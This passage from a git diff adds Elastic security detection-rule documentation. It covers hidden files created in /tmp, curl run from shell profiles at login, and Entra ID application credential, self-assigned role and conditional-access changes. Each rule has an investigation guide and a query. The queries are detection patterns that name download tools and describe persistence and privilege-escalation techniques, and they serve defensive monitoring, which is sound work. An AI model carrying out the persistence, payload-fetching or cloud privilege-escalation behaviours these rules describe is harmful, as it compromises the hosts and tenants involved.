"224.0.0.0/4", "100.64.0.0/10", + "192.175.48.0/24", "198.18.0.0/15", "198.51.100.0/24", "203.0.113.0/24", "240.0.0.0/4", "::1", "FE80::/10", + "FF00::/8" + ) + ] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Remote Services +** ID: T1021 +** Reference URL: https://attack.mitre.org/techniques/T1021/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-creation-of-hidden-files-and-directories-via-commandline.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-creation-of-hidden-files-and-directories-via-commandline.asciidoc new file mode 100644 index 0000000000..46232f83fe --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-creation-of-hidden-files-and-directories-via-commandline.asciidoc @@ -0,0 +1,165 @@ +[[prebuilt-rule-8-19-36-creation-of-hidden-files-and-directories-via-commandline]] +=== Creation of Hidden Files and Directories via CommandLine + +Users can mark specific files as hidden simply by putting a "." as the first character in the file or folder name. Adversaries can use this to their advantage to hide files and folders on the system for persistence and defense evasion. This rule looks for hidden files or folders in common writable directories. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 33 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 119 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Creation of Hidden Files and Directories via CommandLine* + + +In Linux environments, files and directories prefixed with a dot (.) are hidden by default, a feature often exploited by adversaries to conceal malicious activities. Attackers may create hidden files in writable directories like /tmp to evade detection. The detection rule identifies suspicious processes creating such hidden files, excluding benign commands, to flag potential threats. This helps in uncovering stealthy persistence and defense evasion tactics. + + +*Possible investigation steps* + + +- Review the process details to identify the command executed, focusing on the process.working_directory field to confirm if the hidden file was created in a common writable directory like /tmp, /var/tmp, or /dev/shm. +- Examine the process.args field to determine the specific hidden file or directory name created, and assess if it matches known malicious patterns or naming conventions. +- Check the process lineage by investigating the parent process to understand the context of how the hidden file creation was initiated and identify any potential malicious parent processes. +- Investigate the user account associated with the process to determine if it is a legitimate user or potentially compromised, and review recent activities by this user for any anomalies. +- Search for any additional hidden files or directories created around the same time or by the same process to identify further suspicious activities or artifacts. +- Correlate this event with other security alerts or logs from the same host to identify any related suspicious activities or patterns that could indicate a broader attack or compromise. + + +*False positive analysis* + + +- System maintenance scripts may create hidden files in directories like /tmp for temporary storage. Review these scripts and consider excluding them if they are verified as non-threatening. +- Development tools and processes, such as version control systems or build scripts, might generate hidden files for configuration or state tracking. Identify these tools and add them to the exclusion list if they are part of regular operations. +- Monitoring and logging tools may use hidden files to store temporary data or logs. Verify these tools and exclude them if they are essential for system monitoring. +- User-specific applications or scripts might create hidden files for legitimate purposes. Conduct a review of user activities and exclude known benign applications to reduce noise. +- Automated backup or synchronization services could generate hidden files as part of their operation. Confirm these services and exclude them if they are part of the expected environment setup. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further malicious activity or lateral movement. +- Terminate any suspicious processes identified by the detection rule that are creating hidden files in the specified directories. +- Remove any hidden files or directories created by unauthorized processes in the /tmp, /var/tmp, and /dev/shm directories to eliminate potential persistence mechanisms. +- Conduct a thorough review of system logs and process execution history to identify any additional indicators of compromise or related malicious activities. +- Restore any affected files or system components from a known good backup to ensure system integrity. +- Escalate the incident to the security operations team for further analysis and to determine if additional systems are affected. +- Implement enhanced monitoring and alerting for similar activities to improve detection and response capabilities for future incidents. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and +process.working_directory in ("/tmp", "/var/tmp", "/dev/shm") and +process.args regex~ """\.[a-z0-9_\-][a-z0-9_\-\.]{1,254}""" and +process.name like ( + "touch", "tee", "cp", "mv", "install", "dd", "vi", "vim", "nano", "truncate", "sed", "awk", "curl", "wget", + "ftp", "scp", "rsync", "sftp", "tar", "unzip", "gunzip", "7z", "bzip2", "xz", "python*", "php*", "perl*", + "ruby*", "node*", "java", "printf", "echo", "cat", ".*" +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Hide Artifacts +** ID: T1564 +** Reference URL: https://attack.mitre.org/techniques/T1564/ +* Sub-technique: +** Name: Hidden Files and Directories +** ID: T1564.001 +** Reference URL: https://attack.mitre.org/techniques/T1564/001/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-curl-execution-via-shell-profile.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-curl-execution-via-shell-profile.asciidoc new file mode 100644 index 0000000000..0109b89ca6 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-curl-execution-via-shell-profile.asciidoc @@ -0,0 +1,150 @@ +[[prebuilt-rule-8-19-36-curl-execution-via-shell-profile]] +=== Curl Execution via Shell Profile + +Detects when curl is executed via a shell profile upon login. This indicates a curl command was added to the user's shell profile (like .zshrc or .bashrc) and is executed automatically at login, which could be used for persistence and payload delivery. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Command and Control +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Profile: Recommended +* Threat: Download Tool Abuse +* Rule Type: Event Correlation (EQL) +* Platform: macOS + +*Version*: 5 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Curl Execution via Shell Profile* + + +Shell profile scripts (.zshrc, .bashrc, .bash_profile, .zprofile) execute automatically when users open new terminal sessions, making them valuable persistence mechanisms. Threat actors inject curl commands into these profiles to download and execute additional payloads each time the user opens a terminal, creating a reliable beacon mechanism that persists across system reboots. This detection rule identifies curl execution with download flags that originates directly from shell profile execution at login. + + +*Possible investigation steps* + + +- Review the shell profile files (.zshrc, .bashrc, .bash_profile, .zprofile) for the affected user to identify the injected curl command and its destination URL. +- Analyze the process.args to determine the full curl command including output destination (-o, --output) and any other flags used. +- Investigate the destination URL in threat intelligence databases to determine if it is associated with known malicious infrastructure. +- Review the file modification timestamps of the shell profile files to determine when the malicious entry was added. +- Check browser history, email attachments, and download logs to understand how the attacker initially gained access to modify the profile. +- Examine the user.name associated with the modified profile to assess the scope of potential data access. +- Search for downloaded files on the system that may have been retrieved by the curl command and analyze their contents. + + +*False positive analysis* + + +- Developers may add curl commands to shell profiles for convenience, such as fetching daily updates or checking API endpoints. Verify the URL destination and purpose with the user. +- Some shell customization frameworks and plugins use curl to update themselves on shell startup. Review common frameworks like Oh My Zsh for expected behavior. +- Enterprise tools may configure shell profiles for authentication or environment setup. Confirm with IT operations if such configurations are expected. +- Elastic infrastructure URLs are already excluded in the query to reduce noise from legitimate Elastic tooling. + + +*Response and remediation* + + +- Remove the malicious curl command from the affected shell profile file immediately. +- Block the destination URL at the network perimeter to prevent payload delivery. +- Search for any files that were downloaded by the curl command and quarantine or remove them. +- Review user credentials and tokens that may have been exposed, as shell sessions often contain sensitive environment variables. +- Investigate how the shell profile was modified to identify the initial access vector. +- Check other user accounts on the system for similar shell profile modifications. +- Reset the user's shell profile from a known-good backup or template if available. +- Monitor for curl execution from shell profiles across the environment to identify additional compromised systems. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence with maxspan=10s + [process where host.os.type == "macos" and event.type == "start" and event.action == "exec" and + process.name in ("bash", "zsh", "sh") and + process.args in ("-zsh", "-sh", "-bash") and process.args_count == 1 and + process.parent.name == "login"] by process.entity_id + [process where host.os.type == "macos" and event.type == "start" and event.action == "exec" and + process.name in ("curl", "nscurl") and + process.args in ("-o", "--output", "--download", "-dl", "-dir", "--directory", "-F", "--form") and + not process.args like ("https://upload.elastic.co*", "https://artifacts.elastic.co*")] by process.parent.entity_id + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Event Triggered Execution +** ID: T1546 +** Reference URL: https://attack.mitre.org/techniques/T1546/ +* Sub-technique: +** Name: Unix Shell Configuration Modification +** ID: T1546.004 +** Reference URL: https://attack.mitre.org/techniques/T1546/004/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Ingress Tool Transfer +** ID: T1105 +** Reference URL: https://attack.mitre.org/techniques/T1105/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-entra-id-application-credential-modified.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-entra-id-application-credential-modified.asciidoc new file mode 100644 index 0000000000..411661207a --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-entra-id-application-credential-modified.asciidoc @@ -0,0 +1,138 @@ +[[prebuilt-rule-8-19-36-entra-id-application-credential-modified]] +=== Entra ID Application Credential Modified + +Identifies when a new credential is added to an application in Azure. An application may use a certificate or secret string to prove its identity when requesting a token. Multiple certificates and secrets can be added for an application and an adversary may abuse this by creating an additional authentication method to evade defenses or persist in an environment. + +*Rule type*: query + +*Rule indices*: + +* logs-azure.auditlogs-* +* filebeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/ +* https://www.huntress.com/blog/vendor-credential-enables-unauthorized-access + +*Tags*: + +* Domain: Cloud +* Data Source: Azure +* Use Case: Identity and Access Audit +* Tactic: Persistence +* Resources: Investigation Guide +* Noise: Unknown +* Rule Type: Custom Query (KQL) +* Platform: Entra ID +* Domain: Identity +* Data Source: Entra ID Audit Logs + +*Version*: 112 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Entra ID Application Credential Modified* + + +Azure applications use credentials like certificates or secret strings for identity verification during token requests. Adversaries may exploit this by adding unauthorized credentials, enabling persistent access or evading defenses. The detection rule monitors audit logs for successful updates to application credentials, flagging potential misuse by identifying unauthorized credential modifications. + + +*Possible investigation steps* + + +- Review the Azure audit logs to identify the specific application that had its credentials updated, focusing on entries with the operation name "Update application - Certificates and secrets management" and a successful outcome. +- Determine the identity of the user or service principal that performed the credential modification by examining the associated user or principal ID in the audit log entry. +- Investigate the context of the credential modification by checking for any recent changes or unusual activities related to the application, such as modifications to permissions or roles. +- Assess the legitimacy of the new credential by verifying if it aligns with expected operational procedures or if it was authorized by a known and trusted entity. +- Check for any additional suspicious activities in the audit logs around the same timeframe, such as failed login attempts or other modifications to the application, to identify potential indicators of compromise. +- Contact the application owner or relevant stakeholders to confirm whether the credential addition was expected and authorized, and gather any additional context or concerns they might have. + + +*False positive analysis* + + +- Routine credential updates by authorized personnel can trigger alerts. Regularly review and document credential management activities to distinguish between legitimate and suspicious actions. +- Automated processes or scripts that update application credentials as part of maintenance or deployment cycles may cause false positives. Identify and whitelist these processes to prevent unnecessary alerts. +- Credential updates during application scaling or migration might be flagged. Coordinate with IT teams to schedule these activities and temporarily adjust monitoring thresholds or exclusions. +- Third-party integrations that require periodic credential updates can be mistaken for unauthorized changes. Maintain an inventory of such integrations and establish baseline behaviors to filter out benign activities. +- Frequent updates by specific service accounts could be part of normal operations. Monitor these accounts separately and consider creating exceptions for known, non-threatening patterns. + + +*Response and remediation* + + +- Immediately revoke the unauthorized credentials by accessing the Azure portal and removing any suspicious certificates or secret strings associated with the affected application. +- Conduct a thorough review of the application's access logs to identify any unauthorized access or actions performed using the compromised credentials. +- Reset and update all legitimate credentials for the affected application to ensure no further unauthorized access can occur. +- Notify the security team and relevant stakeholders about the incident, providing details of the unauthorized credential modification and any potential impact. +- Implement additional monitoring on the affected application to detect any further unauthorized changes or access attempts. +- Review and tighten access controls and permissions for managing application credentials to prevent unauthorized modifications in the future. +- If necessary, escalate the incident to higher-level security management or external cybersecurity experts for further investigation and response. + +==== Setup + + +The Azure Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:azure.auditlogs and azure.auditlogs.operation_name:"Update application – Certificates and secrets management " and event.outcome:(success or Success) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Credentials +** ID: T1098.001 +** Reference URL: https://attack.mitre.org/techniques/T1098/001/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Credentials +** ID: T1098.001 +** Reference URL: https://attack.mitre.org/techniques/T1098/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-entra-id-application-self-assigned-to-privileged-role.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-entra-id-application-self-assigned-to-privileged-role.asciidoc new file mode 100644 index 0000000000..d3e17bfec0 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-entra-id-application-self-assigned-to-privileged-role.asciidoc @@ -0,0 +1,205 @@ +[[prebuilt-rule-8-19-36-entra-id-application-self-assigned-to-privileged-role]] +=== Entra ID Application Self-Assigned to Privileged Role + +Identifies an Entra ID application (service principal) assigning itself to a privileged directory role. An application typically does not promote itself, and a multi-tenant vendor application is even more uncommon. Any service principal self-assigning a privileged role should be investigated. Adversaries may compromise vendor application credentials and then escalate privileges to Exchange Administrator or Global Administrator, or subsequently add client secrets to other applications. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.huntress.com/blog/vendor-credential-enables-unauthorized-access +* https://www.todyl.com/blog/investigation-unauthorized-access-through-the-connectwise-cloud-backup-microsoft-365-app +* https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/permissions-reference +* https://trustedsec.com/blog/managing-privileged-roles-in-microsoft-entra-id-a-pragmatic-approach + +*Tags*: + +* Domain: Cloud +* Domain: Identity +* Data Source: Azure +* Data Source: Microsoft Entra ID +* Data Source: Microsoft Entra ID Audit Logs +* Use Case: Identity and Access Audit +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Tactic: Persistence +* Resources: Investigation Guide +* Rule Type: ES|QL +* Platform: Entra ID +* Profile: Beta + +*Version*: 1 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Entra ID Application Self-Assigned to Privileged Role* + + +Identifies an Entra ID application (service principal) assigning itself to a privileged directory role. An application +typically does not promote itself, and a multi-tenant vendor application is even more uncommon. Any service principal +self-assigning a privileged role should be investigated. Adversaries may compromise vendor application credentials and +then escalate privileges to Exchange Administrator or Global Administrator, or subsequently add client secrets to +other applications. + + +*Possible investigation steps* + + +- Identify the application with `azure.auditlogs.properties.initiated_by.app.displayName`, `azure.auditlogs.properties.initiated_by.app.appId` and `Esql.actor_sp_id`, and the role in `Esql.role_name`. +- Determine the owner tenant. In Entra, open Enterprise applications and check the application's owner organization, or look up `app_owner_tenant_id` on its service principal sign-ins. A multi-tenant vendor app owned by another tenant that promotes itself is the highest-risk case. +- Pull the service principal sign-ins for the same application around the alert. Compare source addresses and user agents against the application's expected egress. Hosting-provider or VPN addresses and scripting clients such as Python or curl are suspicious for an application that normally runs in its vendor's cloud. +- Pull the audit log for the same service principal around the alert: `Add service principal credentials`, `Update application – Certificates and secrets management`, `Add app role assignment to service principal`, `Add owner to application`. +- Review what the application did with the new role: mailbox, SharePoint, Teams and Graph activity, and any directory changes. +- Check whether the same application ID exists in other tenants you manage; a compromised vendor credential can be used against many tenants in a short time. + + +*False positive analysis* + + +- Vendor-initiated role grants during a documented onboarding or migration. +- Local provisioning or automation applications that assign roles to themselves by design. + + +*Response and remediation* + + +- Disable the application (do not delete it, so the configuration and evidence are preserved) and remove the role assignment. +- Revoke sessions and review all credentials added to applications since the assignment. +- Review and remove client secrets, certificates and federated credentials you did not create. +- Follow the vendor's advisory for credential rotation before re-enabling the application. + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-azure.auditlogs-* metadata _id, _version, _index +// role assignments performed by an application (service principal actor) +| where data_stream.dataset == "azure.auditlogs" + and azure.auditlogs.operation_name in ( + "Add member to role", + "Add member to role outside of PIM (permanent)", + "Add member to role in PIM completed (permanent)", + "Add member to role in PIM completed (timebound)", + "Add eligible member to role in PIM completed (permanent)", + "Add eligible member to role in PIM completed (timebound)" + ) + and event.outcome in ("success", "Success") + and azure.auditlogs.properties.initiated_by.app.servicePrincipalId is not null +// self-assignment: the acting service principal is the member being added +| eval Esql.actor_sp_id = azure.auditlogs.properties.initiated_by.app.servicePrincipalId +| where Esql.actor_sp_id == `azure.auditlogs.properties.target_resources.0.id` + or Esql.actor_sp_id == `azure.auditlogs.properties.target_resources.1.id` +// the role name sits in a different modified_properties slot depending on the operation +| eval Esql.role_name_raw = coalesce( + case(`azure.auditlogs.properties.target_resources.0.modified_properties.0.display_name` == "Role.DisplayName", `azure.auditlogs.properties.target_resources.0.modified_properties.0.new_value`, null), + case(`azure.auditlogs.properties.target_resources.0.modified_properties.1.display_name` == "Role.DisplayName", `azure.auditlogs.properties.target_resources.0.modified_properties.1.new_value`, null), + case(`azure.auditlogs.properties.target_resources.0.modified_properties.2.display_name` == "Role.DisplayName", `azure.auditlogs.properties.target_resources.0.modified_properties.2.new_value`, null), + case(`azure.auditlogs.properties.target_resources.0.modified_properties.3.display_name` == "Role.DisplayName", `azure.auditlogs.properties.target_resources.0.modified_properties.3.new_value`, null) + ) +| eval Esql.role_name = replace(Esql.role_name_raw, "\"", "") +// privileged roles: every built-in role marked PRIVILEGED in the Microsoft Entra built-in roles reference, plus other +// built-in roles with administrative control over major Entra and Microsoft 365 services or access to tenant data. +// Matched by exact role name, not by pattern. +| where to_lower(Esql.role_name) in ( + // marked PRIVILEGED by Microsoft + "agent id administrator", "ai administrator", "ai reader", "application administrator", "application developer", + "attribute provisioning administrator", "attribute provisioning reader", "authentication administrator", + "authentication extensibility administrator", "authentication extensibility password administrator", + "b2c ief keyset administrator", "cloud application administrator", "cloud device administrator", + "conditional access administrator", "directory writers", "domain name administrator", + "entra soc identity responder", "external identity provider administrator", "global administrator", + "global reader", "helpdesk administrator", "hybrid identity administrator", "identity governance administrator", + "intune administrator", "lifecycle workflows administrator", "partner tier1 support", "partner tier2 support", + "password administrator", "privileged authentication administrator", "privileged role administrator", + "security administrator", "security operator", "security reader", "tenant governance administrator", + "user administrator", + // not marked privileged by Microsoft, but with administrative control over major services + "attribute assignment administrator", "authentication policy administrator", "cloud app security administrator", + "compliance administrator", "directory synchronization accounts", "dynamics 365 administrator", + "exchange administrator", "external id user flow administrator", "global secure access administrator", + "groups administrator", "knowledge administrator", "microsoft 365 backup administrator", + "microsoft 365 migration administrator", "on premises directory sync account", "power platform administrator", + "sharepoint administrator", "skype for business administrator", "teams administrator", + "teams telephony administrator", "windows 365 administrator", "yammer administrator", + // additional roles: mailbox permissions, local administrator on joined devices (current and previous display + // name), delegated partner access to the tenant, and approval of Microsoft support access to customer data + "exchange recipient administrator", "azure ad joined device local administrator", + "microsoft entra joined device local administrator", "customer delegated admin relationship administrator", + "customer lockbox access approver", "entra customer lockbox approver", + // legacy display name of Global Administrator + "company administrator" + ) +| drop Esql.role_name_raw +| keep @timestamp, Esql.*, azure.*, event.*, cloud.*, related.*, tags, source.*, agent.*, client.*, _id, _version, _index, data_stream.namespace + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Roles +** ID: T1098.003 +** Reference URL: https://attack.mitre.org/techniques/T1098/003/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Roles +** ID: T1098.003 +** Reference URL: https://attack.mitre.org/techniques/T1098/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-entra-id-conditional-access-policy-cap-modified.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-entra-id-conditional-access-policy-cap-modified.asciidoc new file mode 100644 index 0000000000..8866836336 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-entra-id-conditional-access-policy-cap-modified.asciidoc @@ -0,0 +1,152 @@ +[[prebuilt-rule-8-19-36-entra-id-conditional-access-policy-cap-modified]] +=== Entra ID Conditional Access Policy (CAP) Modified + +Identifies a modification to a conditional access policy (CAP) in Microsoft Entra ID. Adversaries may modify existing CAPs to loosen access controls and maintain persistence in the environment with a compromised identity or entity. + +*Rule type*: new_terms + +*Rule indices*: + +* filebeat-* +* logs-azure.auditlogs-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/azure/active-directory/conditional-access/overview + +*Tags*: + +* Domain: Cloud +* Data Source: Azure +* Data Source: Microsoft Entra ID +* Data Source: Microsoft Entra ID Audit Logs +* Use Case: Identity and Access Audit +* Use Case: Configuration Audit +* Tactic: Persistence +* Resources: Investigation Guide +* Noise: Low +* Performance: Fast +* Profile: Recommended +* Rule Type: New Terms +* Platform: Entra ID +* Domain: Identity + +*Version*: 114 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigation Guide: Microsoft Entra ID Conditional Access Policy (CAP) Modified* + + +Azure Conditional Access Policies (CAPs) are critical for enforcing secure access requirements such as multi-factor authentication (MFA), restricting specific users or groups, and managing sign-in conditions. Modifying these policies can be a technique for weakening an organization’s defenses and maintaining persistence after initial access. + +This rule detects a successful update to a Conditional Access Policy in Microsoft Entra ID (formerly Azure AD). + + +*Possible Investigation Steps* + + +- **Identify the user who modified the policy:** + - Check the value of `azure.auditlogs.properties.initiated_by.user.userPrincipalName` to determine the identity that made the change. + - Investigate their recent activity to determine if this change was expected or authorized. + +- **Review the modified policy name:** + - Look at `azure.auditlogs.properties.target_resources.*.display_name` to find the name of the affected policy. + - Determine whether this policy is related to critical controls (e.g., requiring MFA for admins). + +- **Analyze the policy change:** + - Compare the `old_value` and `new_value` fields under `azure.auditlogs.properties.target_resources.*.modified_properties.*`. + - Look for security-reducing changes, such as: + - Removing users/groups from enforcement. + - Disabling MFA or risk-based conditions. + - Introducing exclusions that reduce the policy’s coverage. + +- **Correlate with other activity:** + - Pivot on `azure.auditlogs.properties.activity_datetime` to identify if any suspicious sign-ins occurred after the policy was modified. + - Check for related authentication logs, particularly from the same IP address (`azure.auditlogs.properties.initiated_by.user.ipAddress`). + +- **Assess the user's legitimacy:** + - Review the initiator’s Azure role, group memberships, and whether their account was recently elevated or compromised. + - Investigate whether this user has a history of modifying policies or if this is anomalous. + + +*Validation & False Positive Considerations* + + +- **Authorized administrative changes:** Some organizations routinely update CAPs as part of policy tuning or role-based access reviews. +- **Security reviews or automation:** Scripts, CI/CD processes, or third-party compliance tools may programmatically update CAPs. +- **Employee lifecycle events:** Policy changes during employee onboarding/offboarding may include updates to access policies. + +If any of these cases apply and align with the activity's context, consider tuning the rule or adding exceptions for expected patterns. + + +*Response & Remediation* + + +- Revert unauthorized or insecure changes to the Conditional Access Policy immediately. +- Temporarily increase monitoring of CAP modifications and sign-in attempts. +- Lock or reset the credentials of the user account that made the change if compromise is suspected. +- Conduct a broader access review of conditional access policies and privileged user activity. +- Implement stricter change management and alerting around CAP changes. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "azure.auditlogs" + and event.action:"Update conditional access policy" + and event.outcome: "success" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ +* Sub-technique: +** Name: Conditional Access Policies +** ID: T1556.009 +** Reference URL: https://attack.mitre.org/techniques/T1556/009/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ +* Sub-technique: +** Name: Conditional Access Policies +** ID: T1556.009 +** Reference URL: https://attack.mitre.org/techniques/T1556/009/ diff --git 